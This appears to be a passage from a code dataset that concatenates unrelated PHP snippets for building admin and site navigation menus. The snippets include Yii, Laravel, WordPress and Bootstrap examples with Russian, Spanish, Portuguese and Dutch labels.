($item['icon']) {\n $navitems[$nav]['label'] = ($item['icon']) ? '<span class=\"icon\"><i class=\"' . $item['icon'] . '\"></i></span> ' . Yii::t('app/modules/admin', $item['label']) : Yii::t('app/modules/admin', $item['label']);\n }\n }\n }\n }\n\n // Collect the final parent menu item\n $items[] = [\n 'label' => ($menu['icon']) ? '<span class=\"icon\"><i class=\"' . $menu['icon'] . '\"></i></span> ' . Yii::t('app/modules/admin', $menu['label']) : Yii::t('app/modules/admin', $menu['label']),\n 'url' => isset($menu['url']) ? Url::to($menu['url']) : '#',\n 'items' => ($subitems) ? $subitems : (($navitems) ? $navitems : false),\n 'active' => false,\n 'options' => ['class' => ($disabled) ? 'disabled' : ''],\n ];\n }\n\n return $items;\n }", "public function run()\n {\n $items = [\n \t['id' => 1, 'name' => 'Skincare'],\n \t['id' => 2, 'name' => 'Cleansing'],\n \t['id' => 3, 'name' => 'Base'],\n \t['id' => 4, 'name' => 'Eyes|Lips|Cheek'],\n \t['id' => 5, 'name' => 'Masks'],\n \t['id' => 6, 'name' => 'Suncare'],\n \t['id' => 7, 'name' => 'Special Care'],\n \t['id' => 8, 'name' => 'Body|Hand|Foot'],\n \t['id' => 9, 'name' => 'Hair Care'],\n \t['id' => 10, 'name' => 'Nail Care'],\n \t['id' => 11, 'name' => 'Contact Lenses'],\n \t['id' => 12, 'name' => 'Perfumes'],\n \t['id' => 13, 'name' => 'Tools|Others'],\n\n \t['id' => 14, 'parent' => 1, 'name' => 'Toner'],\n \t['id' => 15, 'parent' => 1, 'name' => 'Lotion'],\n \t['id' => 16, 'parent' => 1, 'name' => 'Essence'],\n \t['id' => 17, 'parent' => 1, 'name' => 'Cream'],\n \t['id' => 18, 'parent' => 2, 'name' => 'Cleansing Water'],\n \t['id' => 19, 'parent' => 2, 'name' => 'Cleansing Wipes'],\n \t['id' => 20, 'parent' => 3, 'name' => 'Primer'],\n \t['id' => 21, 'parent' => 3, 'name' => 'Foundation'],\n \t['id' => 22, 'parent' => 3, 'name' => 'Concealer'],\n \t['id' => 23, 'parent' => 3, 'name' => 'Powder'],\n \t['id' => 24, 'parent' => 4, 'name' => 'Blush'],\n \t['id' => 25, 'parent' => 4, 'name' => 'Contour'],\n \t['id' => 26, 'parent' => 4, 'name' => 'Highlighter'],\n \t['id' => 27, 'parent' => 4, 'name' => 'Eyebrow'],\n \t['id' => 28, 'parent' => 4, 'name' => 'Eyeshadow'],\n \t['id' => 29, 'parent' => 4, 'name' => 'Eyeliner'],\n \t['id' => 30, 'parent' => 4, 'name' => 'Mascara'],\n \t['id' => 31, 'parent' => 4, 'name' => 'Lipstick'],\n \t['id' => 32, 'parent' => 4, 'name' => 'Lip Tint'],\n \t['id' => 33, 'parent' => 5, 'name' => 'Sheet Mask'],\n \t['id' => 34, 'parent' => 6, 'name' => 'Sunblock'],\n \t['id' => 35, 'parent' => 7, 'name' => 'Wrinkle Care'],\n \t['id' => 36, 'parent' => 7, 'name' => 'Acne Care'],\n \t['id' => 37, 'parent' => 8, 'name' => 'Body Wash'],\n \t['id' => 38, 'parent' => 9, 'name' => 'Hair Color'],\n \t['id' => 39, 'parent' => 10, 'name' => 'Nail Polish'],\n \t['id' => 40, 'parent' => 11, 'name' => 'Color Lenses'],\n \t['id' => 41, 'parent' => 12, 'name' => 'Candles'],\n \t['id' => 42, 'parent' => 13, 'name' => 'Brush'],\n \t['id' => 43, 'parent' => 13, 'name' => 'Lashes'],\n ];\n\n foreach ($items as $item) {\n \tCategory::updateOrCreate(['id' => $item['id']], $item);\n }\n }", "public function run()\n {\n $menus = [\n\n /*\n * Admin\n */\n [\n 'name' => 'Заявки и запросы',\n 'link' => '/admin/',\n 'icon' => 'fa fa-lg fa-fw fa-check-square-o',\n 'cabinet_id' => 1,\n 'children' => [\n [\n 'name' => 'Заявки OSS',\n 'link' => '/admin/requisitions',\n 'icon' => 'fa fa-lg fa-fw fa-check-square-o',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Запросы SIB',\n 'link' => '/admin/be-partner-requests',\n 'icon' => 'fa fa-lg fa-fw fa-check-square-o',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n ],\n ],\n [\n 'name' => 'Пользователи',\n 'link' => '/admin/users',\n 'icon' => 'fa fa-lg fa-fw fa-users',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Online Smart System',\n 'link' => '/admin/oss',\n 'icon' => 'fa fa-lg fa-fw fa-database',\n 'cabinet_id' => 1,\n 'children' => [\n [\n 'name' => 'Абонементы',\n 'link' => '/admin/oss/subscriptions',\n 'icon' => 'fa fa-fw fa-ticket',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Смена куратора',\n 'link' => '/admin/oss/change-curator',\n 'icon' => 'fa fa-lg fa-fw fa-refresh',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Новости',\n 'link' => '/admin/oss/news',\n 'icon' => 'fa fa-lg fa-fw fa-newspaper-o',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Обучение',\n 'link' => '/admin/oss/attestation',\n 'icon' => 'fa fa-lg fa-fw fa-mortar-board',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'WakeUpERA',\n 'link' => '/admin/oss/wake-up-era',\n 'icon' => 'fa fa-lg fa-fw fa-sun-o',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n ],\n ],\n [\n 'name' => 'SIB',\n 'link' => '/admin/sib',\n 'icon' => 'fa fa-lg fa-fw fa-briefcase',\n 'cabinet_id' => 1,\n 'children' => [\n [\n 'name' => 'Новости компании',\n 'link' => '/admin/sib/news',\n 'icon' => 'fa fa-lg fa-fw fa-newspaper-o',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Линейка событий',\n 'link' => '/admin/sib/events',\n 'icon' => 'fa fa-lg fa-fw fa-calendar',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Промо и акции',\n 'link' => '/admin/sib/promos',\n 'icon' => 'fa fa-lg fa-fw fa-gift',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Документация',\n 'link' => '/admin/sib/documents',\n 'icon' => 'fa fa-lg fa-fw fa-file-pdf-o',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n ],\n ],\n [\n 'name' => 'Отчеты',\n 'link' => '/admin/reports',\n 'icon' => 'fa fa-lg fa-fw fa-line-chart',\n 'cabinet_id' => 1,\n 'children' => [\n [\n 'name' => 'Финансовая аналитика',\n 'link' => '/admin/reports/financial-analytics',\n 'icon' => 'fa fa-lg fa-fw fa-line-chart',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Рейтинг чеков',\n 'link' => '/admin/reports/check-ratings',\n 'icon' => 'fa fa-lg fa-fw fa-line-chart',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'ФЦ за период',\n 'link' => '/admin/reports/fc-per-period',\n 'icon' => 'fa fa-lg fa-fw fa-line-chart',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'ФЦ по фин. периодам',\n 'link' => '/admin/reports/fc-per-fp',\n 'icon' => 'fa fa-lg fa-fw fa-line-chart',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'История ББС',\n 'link' => '/admin/reports/bbs-history',\n 'icon' => 'fa fa-lg fa-fw fa-line-chart',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'История выплат',\n 'link' => '/admin/reports/payment-history',\n 'icon' => 'fa fa-lg fa-fw fa-line-chart',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Баллы по бинару',\n 'link' => '/admin/reports/binary-points',\n 'icon' => 'fa fa-lg fa-fw fa-line-chart',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n ],\n ],\n [\n 'name' => 'Настройки',\n 'link' => '/admin/settings',\n 'icon' => 'fa fa-lg fa-fw fa-cog',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Журнал',\n 'link' => '/admin/journal',\n 'icon' => 'fa fa-lg fa-fw fa-newspaper-o',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n [\n 'name' => 'Тестирование',\n 'link' => '/admin/test',\n 'icon' => 'fa fa-lg fa-fw fa-cogs',\n 'cabinet_id' => 1,\n 'children' => [],\n ],\n\n\n /*\n * SIB\n */\n [\n 'name' => 'Финансы',\n 'link' => '/finance',\n 'icon' => 'fa fa-lg fa-fw fa-money',\n 'cabinet_id' => 2,\n 'children' => [\n [\n 'name' => 'Активность',\n 'link' => '/finance/activity',\n 'icon' => 'fa fa-lg fa-fw fa-clock-o',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Кошелёк',\n 'link' => '/finance/wallet',\n 'icon' => 'fa fa-lg fa-fw fa-credit-card',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Платежный календарь',\n 'link' => '/finance/payment-calendar',\n 'icon' => 'fa fa-lg fa-fw fa-calendar',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n ],\n ],\n [\n 'name' => 'Лично приглашенные',\n 'link' => '/personal-invited',\n 'icon' => 'fa fa-lg fa-fw fa-share-alt fa-rotate-90',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Классическая схема',\n 'link' => '/classic',\n 'icon' => 'fa fa-lg fa-fw fa-chain',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Я и моя команда',\n 'link' => '/me-and-my-team',\n 'icon' => 'fa fa-lg fa-fw fa-users',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Online Smart System',\n 'link' => '/oss',\n 'icon' => 'fa fa-lg fa-fw fa-database',\n 'cabinet_id' => 2,\n 'children' => [\n [\n 'name' => 'Новости OSS',\n 'link' => '/oss/info/news',\n 'icon' => 'fa fa-lg fa-fw fa-newspaper-o',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Обучение OSS',\n 'link' => '/oss/attestation',\n 'icon' => 'fa fa-lg fa-fw fa-mortar-board',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'Абонементы OSS',\n 'link' => '/oss/products',\n 'icon' => 'fa fa-lg fa-fw fa-ticket',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'WakeUpERA',\n 'link' => '/oss/wake-up-era',\n 'icon' => 'fa fa-lg fa-fw fa-sun-o',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Соревнования OSS',\n 'link' => '/oss/competitions',\n 'icon' => 'fa fa-lg fa-fw fa-trophy',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Заявки OSS',\n 'link' => '/oss/requisitions',\n 'icon' => 'fa fa-lg fa-fw fa-check-square-o',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Команда OSS',\n 'link' => '/oss/teams',\n 'icon' => 'fa fa-lg fa-fw fa-users',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Кошелёк OSS',\n 'link' => '/oss/wallet',\n 'icon' => 'fa fa-lg fa-fw fa-credit-card',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n ],\n ],\n [\n 'name' => 'Образование',\n 'link' => '/education',\n 'icon' => 'fa fa-lg fa-fw fa-book',\n 'cabinet_id' => 2,\n 'children' => [\n [\n 'name' => 'Партнёрское',\n 'link' => '/education/partners',\n 'icon' => 'fa fa-lg fa-fw fa-briefcase',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Школа ERA',\n 'link' => '/education/school-era',\n 'icon' => 'fa fa-lg fa-fw fa-heart-o',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n ],\n ],\n [\n 'name' => 'Информация',\n 'link' => '/info',\n 'icon' => 'fa fa-lg fa-fw fa-info-circle',\n 'cabinet_id' => 2,\n 'children' => [\n [\n 'name' => 'Новости компании',\n 'link' => '/info/news',\n 'icon' => 'fa fa-lg fa-fw fa-newspaper-o',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Линейка событий',\n 'link' => '/info/events',\n 'icon' => 'fa fa-lg fa-fw fa-calendar',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Промо и акции',\n 'link' => '/info/promos',\n 'icon' => 'fa fa-lg fa-fw fa-gift',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n [\n 'name' => 'Документы (файлы)',\n 'link' => '/info/documents',\n 'icon' => 'fa fa-lg fa-fw fa-file-pdf-o',\n 'cabinet_id' => 2,\n 'children' => [],\n ],\n ],\n ],\n\n\n /*\n * OSS\n */\n [\n 'name' => 'Новости',\n 'link' => '/oss/info/news',\n 'icon' => 'fa fa-lg fa-fw fa-newspaper-o',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'Обучение',\n 'link' => '/oss/attestation',\n 'icon' => 'fa fa-lg fa-fw fa-mortar-board',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'Абонементы',\n 'link' => '/oss/products',\n 'icon' => 'fa fa-lg fa-fw fa-ticket',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'WakeUpEra',\n 'link' => '/oss/wake-up-era',\n 'icon' => 'fa fa-lg fa-fw fa-sun-o',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'Соревнования',\n 'link' => '/oss/competitions',\n 'icon' => 'fa fa-lg fa-fw fa-trophy',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'Заявки',\n 'link' => '/oss/requisitions',\n 'icon' => 'fa fa-lg fa-fw fa-check-square-o',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'Команда',\n 'link' => '/oss/teams',\n 'icon' => 'fa fa-lg fa-fw fa-users',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'Кошелёк',\n 'link' => '/oss/wallet',\n 'icon' => 'fa fa-lg fa-fw fa-credit-card',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n [\n 'name' => 'Информация',\n 'link' => '/oss/info',\n 'icon' => 'fa fa-lg fa-fw fa-info-circle',\n 'cabinet_id' => 3,\n 'children' => [\n// [\n// 'name' => 'Документация',\n// 'link' => '/oss/info/documents',\n// 'icon' => 'fa fa-lg fa-fw fa-file-pdf-o',\n// 'cabinet_id' => 3,\n// 'children' => [],\n// ],\n [\n 'name' => 'Контакты',\n 'link' => '/oss/info/contacts',\n 'icon' => 'fa fa-lg fa-fw fa-phone',\n 'cabinet_id' => 3,\n 'children' => [],\n ],\n ],\n ],\n\n /*\n * Common\n */\n [\n 'name' => 'Мой профиль',\n 'link' => '/profile',\n 'icon' => 'fa fa-lg fa-fw fa-cog',\n 'cabinet_id' => null,\n 'children' => [],\n ],\n ];\n\n foreach ($menus as $menu) {\n $this->menuCreate($menu);\n }\n }", "public function menu_perfil(){\n\t\t$this->menu_del_dia();\n\n\t\t$return = '<ul class=\"nav nav-sidebar\">';\n\t\tforeach($this->menu_del_dia as $key => $value){\n\t\t//menus que se muestran\n\t\t\tif(!empty($value['show'])){\n\t\t\t\tif ($value['show'] == 'true') {\n\t\t\t\t\t$return .= '<li>';\n\t\t\t\t\t$return .= '<a href=\"'.$value['link'].'\"><i class=\"icon-magic-wand\"></i><span class=\"text\">'.$value['text'].'</span></a>';\t\n\t\t\t\t\t$return .= '</li>';\n\t\t\t\t}\n\t\t\t//menus desplegables\t\n\t\t\t}else if (is_array($value)){\n\t\t\t\t$interlist = '';\n\t\t\t\t//var_dump($value);\n\t\t\t\tforeach ($value as $key2 => $value2) {\n\t\t\t\t\t$title = $value2['title'];\t\n\t\t\t\t\t//var_dump($title);\t\t\t\t\t\n\t\t\t\t\t$titulo = '<li><a href=\"#\"><i class=\"icon-magic-wand\"></i><span class=\"text\">'.$title.'</span><span class=\"indicator\"></span></a>';;\n\t\t\t\t\t$interlist .= '<li><a href=\"'.$value2['link'].'\"><i class=\"icon-magic-wand\"></i><span class=\"text\">'.$value2['text'].'</span></a></li>';\t\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\t$return .= $titulo;\n\t\t\t\t$return .= '<ul>';\n\t\t\t\t$return .= $interlist;\n\t\t\t\t$return .= '</ul>';\n\t\t\t\t$return .= '</li>';\n\n\t\t\t}\t\n\t\t}\t\n\t\t$return .= '</ul>';\n\n\n\t\t// $return .= '</ul>';\n\t\treturn $return;\t \n\t}", "public function collapse();", "public function createMenu()\n {\n $parent = $this->Menu()->findOneBy(['label' => 'Artikel']);\n\n $this->createMenuItem(\n [\n 'label' => 'Custom sort',\n 'controller' => 'CustomSort',\n 'action' => 'Index',\n 'active' => 0,\n 'class' => 'sprite-blue-document-text-image',\n 'parent' => $parent,\n 'position' => 6,\n ]\n );\n }", "public function items()\n {\n $projects = new Item();\n $projects->select(\"*\")->select_func(\"DATE_FORMAT\", array(\"@create_date\", '[,]', '%d/%m/%Y'), 'create_date')\n ->where(array('type' => 1, 'status' => 0))\n ->order_by('create_date', 'desc')\n ->get();\n\n $breadcrumb = array(\n 'Home' => site_url('admin'),\n 'Curadoria' => \"#\",\n 'Projetos' => site_url('admin/curadoria/items')\n );\n\n $this->load->helper('html');\n\n $toview['items'] = $projects;\n\n $this->template->set_breadcrumb($breadcrumb);\n $this->template->load('admin', 'admin/curadoria/items', $toview);\n }", "function ITMenu()\n{\n\tglobal $orderedIT;\n\tglobal $canChange;\n\n\techo \"<div class='ITMenu'>\n\" . \"<p style='margin-bottom:2px'>\" . I18(\"Visualiser par plateformes:\") . \"</p>\n\t<ul>\" . PHP_EOL;\n\necho \"\t<li>\" . PHP_EOL;\nnameBatch('GENERIC', $canChange);\necho \"\t</li>\" . PHP_EOL;\n\n\t$bigNames = false;\n\t$letters = array();\n\n\t//take the letters and separate the misc\n\t//make sure we only take letters that are used\n\tforeach ($orderedIT as $batchname => $batch)\n\t{\n\t\tif ($batchname==='GENERIC') continue;\n\n\t\tif (strlen($batchname)!=3 AND !in_array($batchname, NOTMISC))\n\t\t{\n\t\t\t$bigNames = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!in_array(strtoupper($batchname[0]), $letters))\n\t\t{\n\t\t\t$letters[] = strtoupper($batchname[0]);\n\t\t}\n\t}\n\n\tsort($letters);\n\n\t//display the letters on the menu\n\tforeach ($letters as $elem)\n\t{\n\techo \"\t<li id='_letter$elem'>\n\t\t\t<a href='javascript:void(0)' onclick='toggle(\\\"letter$elem\\\", \\\"_letter$elem\\\");'>$elem</a>\t\t\n\t\t</li>\" . PHP_EOL;\n\t}\n\n\t//add the misc\n\tif ($bigNames)\n\t{\n\techo \"\t<li id='_misc'>\n\t\t\t<a href='javascript:void(0)' onclick='toggle(\\\"misc\\\", \\\"_misc\\\");'>Misc.</a>\t\n\t\t</li>\";\n\t}\n\n\necho \"\t</ul>\n\n</div>\";\n\n}", "public function create_menu()\n\t{\n\t\t$obj = $this; // PHP 5.3 doesn't allow $this usage in closures\n\n\t\t// Add main menu page\n\t\tadd_menu_page(\n\t\t\t'Testimonials plugin', // page title\n\t\t\t'Testimonials', // menu title\n\t\t\t'manage_options', // minimal capability to see it\n\t\t\t'jststm_main_menu', // unique menu slug\n\t\t\tfunction() use ($obj){\n\t\t\t\t$obj->render('main_menu'); // render main menu page template\n\t\t\t},\n\t\t\tplugins_url('images/theater.png', dirname(__FILE__)), // dashboard menu icon\n\t\t\t'25.777' // position in the dahsboard menu (just after the Comments)\n\t\t);\n\t\t// Add help page\n\t\tadd_submenu_page(\n\t\t\t'jststm_main_menu', // parent page slug\n\t\t\t'Testimonials plugin help', // page title\n\t\t\t'What is this?', // menu title\n\t\t\t'manage_options', // capability\n\t\t\t'jststm_help', // slug\n\t\t\tfunction() use ($obj){\n\t\t\t\t$obj->render('help_page');\n\t\t\t}\n\t\t);\n\t}", "function wrap_menu_imas() {\n \n // open the <ul>, set 'menu_class' and 'menu_id' values\n $wrap = '<ul id=\"%1$s\" class=\"%2$s nav navbar-nav\">';\n \n // get nav items as configured in /wp-admin/\n $wrap .= '%3$s';\n \n // close the <ul>\n $wrap .= '</ul>';\n // return the result\n return $wrap;\n}", "public function getContent()\n {\n $this->id = \"admin-navbar-menu\";\n $this->addCssClass('admin-navbar-menu');\n\n $close = new FontAwesomeIcon($this);\n $close->id = 'admin-navbar-close';\n $close->addCssClass('admin-navbar-close');\n $close->icon = 'xmark';\n\n\n foreach ($this->site->getMenuActiveSite() as $site) {\n\n if ($site->hasItems()) {\n\n /*$hyperlink = new SiteHyperlink($menu);\n $hyperlink->addCssClass('admin-navbar-link');\n $hyperlink->site = $site;*/\n\n $submenu =new Div($this);\n\n\n\n $dropdown =new Hyperlink($submenu); // SiteHyperlink($menu);\n $dropdown->content=$site->title; //.' '.$icon->getBodyContent();\n $dropdown->addCssClass('admin-navbar-menu');\n $dropdown->addCssClass('admin-navbar-link');\n $dropdown->addCssClass('admin-dropdown-button');\n\n\n\n\n //$submenu->content->addCssClass('admin-navbar-submenu');\n\n $icon=new AdminIcon($dropdown);\n $icon->addCssClass('admin-navbar-submenu-icon');\n $icon->icon='caret-down';\n\n\n //admin-dropdown-show\n $dropdownId = 'dropone-' . (new UniqueComName())->getUniqueName();\n\n /*$this->button = new AdminButton();\n $this->button->label = 'Click';\n $this->button->addCssClass('admin-dropdown-button');*/\n $dropdown->addAttribute('onclick', 'hideDropdownMenu(); document.getElementById(\\'' . $dropdownId . '\\').classList.toggle(\\'admin-dropdown-show\\');');\n //parent::addContainer($this->button);\n\n $submenuContent = new Div($submenu);\n $submenuContent->id = $dropdownId;\n /*$submenuContent->addCssClass('admin-dropdown-content');*/\n $submenuContent->addCssClass('admin-navbar-submenu-content');\n //parent::addContainer($this->content);\n\n\n\n\n //$submenu = new Div($menu);\n //$submenu->addCssClass('admin-navbar-submenu');\n\n /*$p=new Paragraph($submenu);\n $p->content= 'Submenu: '.$site->title;*/\n\n\n //$menuActive = false;\n foreach ($site->getMenuActiveSite() as $subSite) {\n if ($subSite->menuActive) {\n //$menuActive = true;\n\n $hyperlink = new SiteHyperlink($submenuContent);\n $hyperlink->addCssClass('admin-navbar-link');\n $hyperlink->addCssClass('admin-navbar-submenu-link');\n $hyperlink->site = $subSite;\n\n }\n }\n\n } else {\n\n $hyperlink = new SiteHyperlink($this);\n $hyperlink->addCssClass('admin-navbar-link');\n $hyperlink->site = $site;\n\n }\n\n if ($site->isCurrentSite()) {\n $hyperlink->addCssClass('admin-navbar-link-active');\n }\n\n\n }\n\n\n $hyperlink = new Hyperlink($this); // new SiteHyperlink($menu);\n $hyperlink->addCssClass('admin-navbar-link');\n //$hyperlink->site = $site;\n\n $icon = new FontAwesomeIcon($hyperlink);\n $icon->icon = 'user';\n\n $bold = new Bold($hyperlink);\n $bold->content = ' ' . (new UserSession())->displayName;\n\n\n $hyperlink = new SiteHyperlink($this);\n $hyperlink->addCssClass('admin-navbar-link');\n $hyperlink->site = LogoutSite::$site;\n\n\n\n return parent::getContent(); // TODO: Change the autogenerated stub\n }", "public function menuInside($action='') {\n $items = '';\n $action = ($action!='') ? $action : $this->action;\n switch ($action) {\n case 'listAdmin':\n if (Permission::canInsert($this->type)) {\n $items = '<div class=\"menuSimpleItem menuSimpleItemInsert\">\n <a href=\"'.url($this->type.'/insertView', true).'\">'.__('insertNew').'</a>\n </div>';\n }\n if ((string)$this->object->info->info->form->exportJson == 'true') {\n $items .= '<div class=\"menuSimpleItem menuSimpleItemExportJson\">\n <a href=\"'.url($this->type.'/export-json', true).'\" target=\"_blank\">'.__('exportJson').'</a>\n </div>';\n }\n if ((string)$this->object->info->info->form->exportCsv == 'true') {\n $items .= '<div class=\"menuSimpleItem menuSimpleItemExportCsv\">\n <a href=\"'.url($this->type.'/export-csv', true).'\" target=\"_blank\">'.__('exportCsv').'</a>\n </div>';\n }\n break;\n case 'insertView':\n case 'insert':\n case 'modifyView':\n case 'modifyViewCheck':\n $items = '<div class=\"menuSimpleItem menuSimpleItemList\">\n <a href=\"'.url($this->type.'/listAdmin', true).'\">'.__('viewList').'</a>\n </div>';\n break;\n case 'insertCheck':\n $items = '<div class=\"menuSimpleItem menuSimpleItemInsert\">\n <a href=\"'.url($this->type.'/insertView', true).'\">'.__('insertNew').'</a>\n </div>';\n if (Permission::canInsert($this->type)) {\n $items .= '<div class=\"menuSimpleItem menuSimpleItemList\">\n <a href=\"'.url($this->type.'/listAdmin', true).'\">'.__('viewList').'</a>\n </div>';\n }\n break;\n case 'listBack':\n $items = '<div class=\"menuSimpleItem menuSimpleItemList\">\n <a href=\"'.url($this->type.'/listAdmin', true).'\">'.__('viewList').'</a>\n </div>';\n break;\n\n }\n return ($items!='') ? '<nav class=\"menuSimple\">'.$items.'</nav>' : '';\n }", "private function _showPublic(){\n $omenu = D('Menu');\n $amodules = $omenu->getModules();\n $this->assign('modules',$amodules);\n $amenu = $omenu->getMenuByModelName(MODULE_NAME);\n $asubNav = array();\n $amenus = array();\n $asubmenus = array();\n $temp = array();\n foreach($amenu as $v){\n if(!$this->_auth($v['name'])) continue;\n switch(count(explode(',',$v['level']))){\n case 2:\n $amenus[$v['id']] = array(\n 'title' => $v['title'],\n 'URL' => $v['URL'],\n 'icon' => $v['icon']\n );\n if(MODULE_NAME == $v['name']){\n $anav[] = array(\n 'title' => $amodules[$v['pId']]['title'],\n 'URL' => $amodules[$v['pId']]['URL'],\n 'icon' => $amodules[$v['pId']]['icon']\n );\n $anav[] = array(\n 'title' => $v['title'],\n 'URL' => $v['URL']\n );\n $amenus[$v['id']]['active'] = true;\n $icon = $v['icon'];\n }else{\n $amenus[$v['id']]['active'] = false;\n }\n break;\n case 3:\n $amenus[$v['pId']]['submenu'][$v['id']] = array(\n 'title' => $v['title'],\n 'URL' => $v['URL']\n );\n if($foundSubNav){\n $stop = true;\n break;\n }else{\n $asubNav = array();\n }\n\n if($v['name'] == MODULE_NAME.'_'.ACTION_NAME){\n $bnatchNav || $bmatchNav = true;\n $foundSubNav = true;\n $anav[] = array(\n 'title' => $v['title'],\n 'URL' => $v['URL'],\n 'class' => 'current'\n );\n $tcontentTitle = $v['title'];\n }else{\n $temp = array(\n 'title' => $v['title'],\n 'URL' => $v['URL'],\n );\n $bmatchNav && $bmatchNav = false;\n }\n break;\n case 4:\n if($foundSubNav && $stop) break;\n if($bmatchNav){\n $asubNav[] = array(\n 'title' => $v['title'],\n 'URL' => $v['URL']\n );\n $tsubContentTitle = $tcontentTitle;\n }else{\n $asubNav[] = array(\n 'title' => $v['title'],\n 'URL' => $v['URL']\n );\n //$tsubContentTitle = $temp['name'];\n if(MODULE_NAME.'_'.ACTION_NAME == $v['name']){\n $foundSubNav = true;\n $tsubContentTitle = $v['title'];\n $tcontentTitle = $temp['title'];\n $anav[] = array(\n 'title' => $temp['title'],\n 'URL' => $temp['URL']\n );\n $anav[] = array(\n 'title' => $v['title'],\n 'URL' => $v['URL'],\n 'class' => 'current'\n );\n $asubNav[count($asubNav)-1]['active'] = true;\n }\n }\n break;\n }\n }\n $this->assign('menu',$amenus);\n $this->assign('nav',$anav);\n $this->assign('contentTitle',$tcontentTitle);\n $this->assign('subnav',$asubNav);\n $this->assign('subContentTitle',$tsubContentTitle);\n $this->assign('icon',$icon);\n }", "protected function makeActionMenu() {}", "function getMenuItems()\n {\n }", "function make_menu_bs($title) {\n\t$menu = '\n\t<nav class=\"navbar navbar-toggleable-md navbar-light bg-faded\">\n \t<button class=\"navbar-toggler navbar-toggler-right\" type=\"button\" data-toggle=\"collapse\" \n \t data-target=\"#navbarNav\" aria-controls=\"navbarNav\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n \t<span class=\"navbar-toggler-icon\"></span>\n\t\t</button>\n\t\t<a class=\"navbar-brand\" href=\"home.php\">Trivia</a>\n\t\t<div class=\"collapse navbar-collapse\" id=\"navbarNav\">\n \t<ul class=\"navbar-nav\">';\n\t$menu .= get_menu_items($title);\n\t$menu .= '\n\t\t\t</ul>\n\t\t</div>\n\t</nav>';\n\treturn $menu;\n}", "public function buildMenu() {\n $content = array();\n\n $headers = array(\n t(\"Menu keuze\"),\n t(\"Functie\"), \n );\n $rows[] = array(\n t(\"<b>Tabel beheer</b>\"),\n t(\"\"),\n );\n $rows[]= array(\n t(\"<a href= ezac/leden/>Leden administratie</a>\"),\n t(\"Inzage en wijzigen leden informatie\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/leden/update>Lid toevoegen</a>\"),\n t(\"Invoeren gegevens nieuw lid\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/kisten/>Vloot administratie</a>\"),\n t(\"Inzage en wijzigen vloot informatie\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/kisten/update>Kist toevoegen</a>\"),\n t(\"Invoeren gegevens nieuw vliegtuig\"),\n );\n $rows[] = array(\n t(\"<b>Startadministratie</b>\"),\n t(\"\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/starts>Startadministratie</a>\"),\n t(\"Overzicht startadministratie\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/starts/create/>Start invoer</a>\"),\n t(\"Invoeren nieuwe start\"),\n );\n $rows[] = array(\n t(\"<b>Voortgang / Bevoegdheden administratie</b>\"),\n t(\"\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/vba>Overzicht</a>\"),\n t(\"Overzicht 